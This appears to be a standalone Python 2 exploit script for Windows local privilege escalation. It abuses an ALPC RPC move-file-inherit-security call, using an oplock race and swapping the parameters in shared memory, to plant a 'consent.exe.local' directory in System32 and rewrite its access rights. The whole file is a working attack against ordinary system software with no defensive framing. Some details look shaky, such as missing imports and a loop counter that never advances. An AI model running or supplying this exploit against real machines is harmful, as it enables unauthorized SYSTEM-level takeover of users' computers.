from win32security import OBJECT_INHERIT_ACE, PROTECTED_DACL_SECURITY_INFORMATION, \ DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, SE_FILE_OBJECT from exe_var import * import windows.rpc from windows.rpc import ndr import windows.winproxy import windows.generated_def as gdef import win32con, win32security import ntsecuritycon import win32api, win32con import winioctlcon, win32file import threading from winnt import FILE_READ_ATTRIBUTES import pywintypes hprocess = win32api.GetCurrentProcess() htoken = win32security.OpenProcessToken(hprocess, win32security.TOKEN_ALL_ACCESS) my_sid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenUser)[0] my_rid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenIntegrityLevel)[0].GetSubAuthority(0) RID = {0x1000:'SECURITY_MENDATORY_LOW_RID', 0x2000:'SECURITY_MENDATORY_MEDIUM_RID', 0x3000:'SECURITY_MENDATORY_HIGH_RID', 0x4000:'SECURITY_MENDATORY_SYSTEM_RID'} print "[*] Current Integrity Level :%s(%0x)" % (RID[my_rid], my_rid) def MakeDaclStringToSeObj(dacl_string, rev_opt=win32security.SDDL_REVISION_1): return win32security.ConvertStringSecurityDescriptorToSecurityDescriptor(dacl_string, rev_opt) def RemoveWriteDAC(fname): try: win32file.DeleteFile(fname) except: pass my_dacl = "D:(D;;WD;;;SY)(A;;GA;;;WD)" se_obj = MakeDaclStringToSeObj(my_dacl) fdacl = se_obj.GetSecurityDescriptorDacl() in_se_attr = win32security.SECURITY_ATTRIBUTES() in_se_attr.SECURITY_DESCRIPTOR = se_obj ret = win32security.SetNamedSecurityInfo(fname, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION|DACL_SECURITY_INFORMATION|PROTECTED_DACL_SECURITY_INFORMATION, my_sid, my_sid, fdacl, None) if ret == None: print '[*] Removed WriteDAC for System.' else: print '[!] Error while removing WriteDAC for System.' # NDR Descriptions class SvcMoveFileInheritSecurity(ndr.NdrParameters): MEMBERS = [ndr.NdrUniquePTR(ndr.NdrWString), ndr.NdrUniquePTR(ndr.NdrWString), ndr.NdrLong] # Make Low integirty File base_path = os.environ['LocalAppData'] + "Low" src_path = base_path + "\\consent.exe.local" dst_path = os.environ['windir'] + "\\system32\\consent.exe.local" fake_src = base_path + "\\fake_src.txt" fake_dst = base_path + "\\fake_dst.txt" if not os.path.exists(src_path): os.makedirs(src_path) # Exploit Step #1 : find endpoint associated rpc UUID = "BE7F785E-0E3A-4AB7-91DE-7E46E443BE29" client = windows.rpc.find_alpc_endpoint_and_connect(UUID, version=(0,0)) client_info =windows.rpc.find_alpc_endpoints(UUID, version=(0,0)) print "[*] RPC(be7f785e-0e3a-4ab7-91de-7e46e443be29) connected." print "\t[+] Portname : " + str(client.alpc_client.port_name) print "\t[+] Info : " + str(client_info) iid = client.bind(UUID, version=(0,0)) cur_proc = windows.current_process # Create Section parameters = ndr.make_parameters([ndr.NdrWString, ndr.NdrWString, ndr.NdrLong]).pack([fake_src+'\x00',fake_dst+'\x00',0x1]) # Forge a call IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])] call_req = client._forge_call_request(IF_NUMBER, 14, "") oplock_trigger = False # Make Optlock def oplock(dst_file): global oplock_trigger print "[*] Oplock Thread start!" g_o = pywintypes.OVERLAPPED() hdst = win32file.CreateFile(dst_file, FILE_READ_ATTRIBUTES, win32con.FILE_SHARE_READ, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_OVERLAPPED, None) ret_bytes = ctypes.c_ulong() status = win32file.DeviceIoControl(hdst, winioctlcon.FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, g_o) if status != 0: print "[*] Destination file Oplock success! (%s)" % dst_file else: print "[!] It's failed to make OpLock." exit(-1) ret = win32file.GetOverlappedResult(hdst, g_o, 1) if ret == 0: print "[!] Oplcok Failed!" print "[*] Called SetNamedSecurityInfo." oplock_trigger = True def exploit(): touch(fake_src) t = threading.Thread(target=oplock, args=(fake_src,)) t.start() section = client.alpc_client.create_port_section(0x40000, 0, 0x1000) # 0x40000 section flag (secure view) view = client.alpc_client.map_section(section[0], 0x1000) p = windows.alpc.AlpcMessage(0x2000) p.port_message.data = call_req + ndr.NdrLong.pack(len(parameters) + 0x200) + "\x00" * 40 p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE p.view_attribute.Flags = 0x40000 p.view_attribute.ViewBase = view.ViewBase p.view_attribute.SectionHandle = view.SectionHandle p.view_attribute.ViewSize = len(parameters) # Write NDR to view cur_proc.write_memory(view.ViewBase, parameters) client.alpc_client.send(p) idx = 0 while idx<1000: if oplock_trigger == True: break if oplock_trigger == False: print '[!] Race Condition Failed!' return False new_src = ndr.NdrWString.pack(src_path+'\x00') new_dst = ndr.NdrWString.pack(dst_path+'\x00') cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None) cur_proc.write_memory(view.ViewBase, new_dst) cur_proc.write_memory(view.ViewBase+4*26, new_src) time.sleep(10) if os.path.exists(dst_path): print "[*] Exploit Complete!" else: print "[!] Exploit Failed!" RemoveWriteDAC(src_path) exploit()